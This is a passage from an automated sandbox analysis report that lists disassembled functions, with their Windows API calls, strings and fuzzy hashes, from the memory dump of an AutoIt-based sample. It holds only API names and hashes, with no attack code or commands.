Part of subcall function 00DA7562: VariantCopy.OLEAUT32(00000000,?), ref: 00DA75AB
Part of subcall function 00DA7562: VariantClear.OLEAUT32(00000000), ref: 00DA75B7

Strings

AUTOIT.ERROR, xrefs: 00DB8728
Incorrect Parameter format, xrefs: 00DB864B, 00DB880D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: a90702a2d3a506936d045716488954efcac875f9ead065dac27a3820b9e79ab4
Instruction ID: 3718f1bacdd820ded78c76b1fa1423e7831395d01d703c09334e802141ffb130
Opcode Fuzzy Hash: a90702a2d3a506936d045716488954efcac875f9ead065dac27a3820b9e79ab4
Instruction Fuzzy Hash: 00915C74604301DFC710DF25C48599ABBE8EF89714F14896EF89A8B361DB31E945CB72

Function 00DA2A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5FC86: _wcscpy.LIBCMT ref: 00D5FCA9

_memset.LIBCMT ref: 00DA2B87
GetMenuItemInfoW.USER32 ref: 00DA2BB6
SetMenuItemInfoW.USER32 ref: 00DA2C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00DA2C97

Strings

0, xrefs: 00DA2B73

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: d184c45ad59de56d065b70493f4b6da3b636c894a2cb560e803520652fdf5e35
Instruction ID: a52a9bc72bf3663dedde4a1ae428c031a520bb6a17d168cd5d41550d0052a715
Opcode Fuzzy Hash: d184c45ad59de56d065b70493f4b6da3b636c894a2cb560e803520652fdf5e35
Instruction Fuzzy Hash: C9519C716083019BD7249F2ED845A7FBBE4EB9A320F080A29F895D71D1DB74CD448B72

Function 00D9D56C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?), ref: 00D9D5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00D9D60A
GetProcAddress.KERNEL32(?,DllGetClassObject,?,?,?,?,?,?,?,?,?), ref: 00D9D61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00D9D69D

Strings

DllGetClassObject, xrefs: 00D9D610

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 530d118dcf158f396cc2f45831fe5e274700b7d75c3dc6ab9b6526cd6a6cebdc
Instruction ID: b055425d61df7269bedc18e41adddf56fcbb479b5d8fdb4118142f7264a745b9
Opcode Fuzzy Hash: 530d118dcf158f396cc2f45831fe5e274700b7d75c3dc6ab9b6526cd6a6cebdc
Instruction Fuzzy Hash: BD411BB2600209EFDF15DF64C884AAABBBAEF54314F1581A9AD099F205D7B1D944CBB0

Function 00DA2753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA27C0
GetMenuItemInfoW.USER32 ref: 00DA27DC
DeleteMenu.USER32 ref: 00DA2822
DeleteMenu.USER32 ref: 00DA286B

Strings

0, xrefs: 00DA27B5

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: ec3fadc565dcc72305ba8fcf14e215ccb16d03e377cc6e9f55426b8037addf49
Instruction ID: 4c33c6b50f61fbfbf161136891dde637fee5460fc40fc757c958f2dc504f9c00
Opcode Fuzzy Hash: ec3fadc565dcc72305ba8fcf14e215ccb16d03e377cc6e9f55426b8037addf49
Instruction Fuzzy Hash: 41418E706043429FDB20DF2AC844F6ABBE9EF86314F14492DF9A597291DB34E905CB72

Function 00DBD7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00DBD7C5

Part of subcall function 00D4784B: _memmove.LIBCMT ref: 00D47899

Strings

winapi, xrefs: 00DBD836
stdcall, xrefs: 00DBD847
none, xrefs: 00DBD8A0
cdecl, xrefs: 00DBD81C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 14e85327027268768fec5bb9e925a2b5052b556d99d9b2a6a6ea46afcf987799
Instruction ID: 42651f8fe34ccd990d1af47491d3884028514da2c990c49bb33f52e9e7d20928
Opcode Fuzzy Hash: 14e85327027268768fec5bb9e925a2b5052b556d99d9b2a6a6ea46afcf987799
Instruction Fuzzy Hash: FE31AF7590461AEBCF00EF54C8519FEB7B5FF04320B10862AE866A77D1EB31A905CBB0

Function 00D98E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00D9AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00D9AABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00D98F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00D98F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 00D98F57

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

Strings

ListBox, xrefs: 00D98ED3
ComboBox, xrefs: 00D98E9E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 4638db3a4991feff9a3a7e8c9d0e7b092f1756c032115c0fd2739d4afe149bb0
Instruction ID: 80bc0e9864ba7058ed87a4b77c6b26aa31fc7b7defc3e3a225aaaa360e60e005
Opcode Fuzzy Hash: 4638db3a4991feff9a3a7e8c9d0e7b092f1756c032115c0fd2739d4afe149bb0
Instruction Fuzzy Hash: C421EE71A40109BFDF14ABA08C85DFFB769DF06760F048629F421972E1DB394809AA30

Function 00DB182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00DB184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DB1872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00DB18A2
InternetCloseHandle.WININET(00000000), ref: 00DB18E9

Part of subcall function 00DB2483: GetLastError.KERNEL32(?,?,00DB1817,00000000,00000000,00000001), ref: 00DB2498
Part of subcall function 00DB2483: SetEvent.KERNEL32(?,?,00DB1817,00000000,00000000,00000001), ref: 00DB24AD

Strings

, xrefs: 00DB1893

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 86677bcef36c15574cd4978881c03925dcdbe92d610c5d3cac1987f36cbdbe2d
Instruction ID: 1427e48fd3da8ecb508556b59931e8b90626d7ed86dc08c70cf320ef358230f4
Opcode Fuzzy Hash: 86677bcef36c15574cd4978881c03925dcdbe92d610c5d3cac1987f36cbdbe2d
Instruction Fuzzy Hash: 4F21ACBA500309BFEB119B618C95EFB76AEFB48744F50412AF806E6240EA208E0597B1

Function 00DC63E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D41D35: CreateWindowExW.USER32 ref: 00D41D73
Part of subcall function 00D41D35: GetStockObject.GDI32(00000011), ref: 00D41D87
Part of subcall function 00D41D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D41D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00DC6461
LoadLibraryW.KERNEL32(?), ref: 00DC6468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00DC647D
DestroyWindow.USER32 ref: 00DC6485

Strings

SysAnimate32, xrefs: 00DC643C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 21a365bfc3187cef68de0c0ccd41e104832be90c2099569231494af5649bae17
Instruction ID: 9d6b65399a11d2dd3316259632c1ee1aefedbb053c17929b6d91471a3e0c58d6
Opcode Fuzzy Hash: 21a365bfc3187cef68de0c0ccd41e104832be90c2099569231494af5649bae17
Instruction Fuzzy Hash: 89216871208206ABEF148FA4DC80FBA77ADEB58328F188629FA50D3190D631DC81A770

Function 00DA6D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00DA6DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00DA6DEF
GetStdHandle.KERNEL32(0000000C), ref: 00DA6E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00DA6E3B

Strings

nul, xrefs: 00DA6E36

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: b36139b0a8cdcdc7a73a420b3de128521aa72ba585ca16b11f0f40926789a7c5
Instruction ID: ab5bc918c4ed19ff6802f236cb85fe835ae34519d47343efff9359a7cf8fda3c
Opcode Fuzzy Hash: b36139b0a8cdcdc7a73a420b3de128521aa72ba585ca16b11f0f40926789a7c5
Instruction Fuzzy Hash: 4E21817560030AEBDF209F39DC04A9ABBA4EF46760F284619FDA0D72D0D770D9508B74

Function 00DA6E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00DA6E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00DA6EBB
GetStdHandle.KERNEL32(000000F6), ref: 00DA6ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00DA6F06

Strings

nul, xrefs: 00DA6F01

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 43e82ef34a982485200980cfda7305ab993bf2a6ed3d568a8286ba4860e5518d
Instruction ID: de04e925c2bc9885a813ab3f905f7ca2f49671100a7f95d0fc46f50703eb5b4b
Opcode Fuzzy Hash: 43e82ef34a982485200980cfda7305ab993bf2a6ed3d568a8286ba4860e5518d
Instruction Fuzzy Hash: 04217479500306EBDB209F69DC04A9AB7A8EF46730F284A19FDA1D72D0D770D951CB71

Function 00DAAC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DAAC54
GetVolumeInformationW.KERNEL32 ref: 00DAACA8
__swprintf.LIBCMT ref: 00DAACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,00DCF910), ref: 00DAACFF

Strings

%lu, xrefs: 00DAACBB

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: ef5c5e586d88b744bba239e73365517e317daf981fcc1f518333fe6b98a56669
Instruction ID: 40586f96f712eff2999e7f18c52b3adb164e9f56ac279db81f0ae37c133fd240
Opcode Fuzzy Hash: ef5c5e586d88b744bba239e73365517e317daf981fcc1f518333fe6b98a56669
Instruction Fuzzy Hash: 7B216035A0020AAFCB10DF69C945DEEBBB9EF49714B104469F909DB352DB31EA41CB31

Function 00DA1AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00DA1B19

Strings

REMOVE, xrefs: 00DA1B1F
KEYS, xrefs: 00DA1B30
EXISTS, xrefs: 00DA1B41
APPEND, xrefs: 00DA1B52

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: fa9ea3dddf618be1b80a73ac61eccb159fc490779015dfe27254fed49c500053
Instruction ID: abbbf7df354eafd05c38b2ecec8023becf968ac9ea7bf591247a484bde5d51c7
Opcode Fuzzy Hash: fa9ea3dddf618be1b80a73ac61eccb159fc490779015dfe27254fed49c500053
Instruction Fuzzy Hash: 9E113C759002098FCF00EF94D8518FEB7B5FF26304F148465D9A4A73A2EB325906DB70

Function 00DBEB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00DBEC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00DBEC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00DBED6A
CloseHandle.KERNEL32(?), ref: 00DBEDEB

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: c615c24daf70a5b8f51fcf5b1a2213eab2f8b85fa686b802dab8416e5a0a423d
Instruction ID: 97ac1782955d6517b8c8c7f5a18cbc4c21875f5c417f04dff9a2a8c9d2a36b2d
Opcode Fuzzy Hash: c615c24daf70a5b8f51fcf5b1a2213eab2f8b85fa686b802dab8416e5a0a423d
Instruction Fuzzy Hash: 9E815E716003019FD760EF29C896FAAB7E5EF44710F04881DF99ADB292D7B0AC418BA1

Function 00DC0037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00DC0E1A: CharUpperBuffW.USER32(?,?), ref: 00DC0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DC00FD
RegOpenKeyExW.ADVAPI32 ref: 00DC013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00DC0183
RegCloseKey.ADVAPI32(?), ref: 00DC01AF
RegCloseKey.ADVAPI32(00000000), ref: 00DC01BC

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 1cd5ce1b698a4901b08f772aae927ddde3bd0c7e317140fe52bcdd7c0e7ae91c
Instruction ID: fbb88744f0857165c07157610fe1b0086ef163f0a1ada3c9025fdd0dfd269737
Opcode Fuzzy Hash: 1cd5ce1b698a4901b08f772aae927ddde3bd0c7e317140fe52bcdd7c0e7ae91c
Instruction Fuzzy Hash: 81512871208305AFD714EF68C881F6ABBE9FF84714F44892DF595872A2DB31E904DB62

Function 00DBD8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00DBD927
GetProcAddress.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00DBD9AA
GetProcAddress.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00DBD9C6
GetProcAddress.KERNEL32(00000000,?,?,?,00000041,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00DBDA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00DBDA21

Part of subcall function 00D45A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00DA7896,?,?,00000000), ref: 00D45A2C
Part of subcall function 00D45A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00DA7896,?,?,00000000,?,?), ref: 00D45A50

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: bd835dbe8daa70adc9667734d49a0972ddd9e1d34c48c9f0446c35587654ad5c
Instruction ID: 4a45d908321b4428a5c7cf288c68813054f65a22adff32b26546422be04bc3f1
Opcode Fuzzy Hash: bd835dbe8daa70adc9667734d49a0972ddd9e1d34c48c9f0446c35587654ad5c
Instruction Fuzzy Hash: D4510735A00206DFCB00EFA8C4959EDB7B5EF19320B148165E956AB312D731ED45CFA1

Function 00DAE571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00DAE61F
GetPrivateProfileSectionW.KERNEL32 ref: 00DAE648
WritePrivateProfileSectionW.KERNEL32 ref: 00DAE687

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

WritePrivateProfileStringW.KERNEL32 ref: 00DAE6AC
WritePrivateProfileStringW.KERNEL32 ref: 00DAE6B4

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 8c8d094a5fe9468f033cec52dd60fee48cbacdd3425d7a7b188ec19b398cb484
Instruction ID: 47528d9fe7f070fc9f603382ff3af5e89331864781fa308d28264b3a083453c1
Opcode Fuzzy Hash: 8c8d094a5fe9468f033cec52dd60fee48cbacdd3425d7a7b188ec19b398cb484
Instruction Fuzzy Hash: C3510D35A00205DFCB11EF65C991AAEBBF5EF49314B1484A5E809AB362CB31ED11DF70

Function 00DCA056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
